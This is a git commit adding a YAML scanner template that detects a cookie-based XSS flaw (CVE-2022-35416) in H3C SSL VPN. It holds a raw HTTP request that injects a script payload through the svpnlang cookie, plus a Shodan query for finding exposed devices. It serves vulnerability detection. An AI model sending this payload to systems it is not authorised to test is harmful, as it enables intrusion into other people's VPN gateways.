Create CVE-2022-35416.yaml

patch-1
Prince Chaddha 2022-07-14 16:13:06 +05:30 committed by GitHub
parent b676a60a1a
commit e3d0b39b3c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 39 additions and 0 deletions

View File

@ -0,0 +1,39 @@
id: CVE-2022-35416
info:
name: H3C SSL VPN through 2022-07-10 - Cookie Based XSS
author: 0x240x23elu
severity: low
description: |
H3C SSL VPN through 2022-07-10 allows wnm/login/login.json svpnlang cookie XSS.
reference:
- https://github.com/advisories/GHSA-9x76-78gc-r3m9
- https://github.com/Docker-droid/H3C_SSL_VPN_XSS
- https://nvd.nist.gov/vuln/detail/CVE-2022-35416
metadata:
verified: true
shodan-query: http.html_hash:510586239
tags: cve,cve2022,xss,vpn,h3c
requests:
- raw:
- |
GET /wnm/login/login.json HTTP/1.1
Host: {{Hostname}}
Cookie: svpnlang=<script>alert('document.domain')</script>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert('document.domain')</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200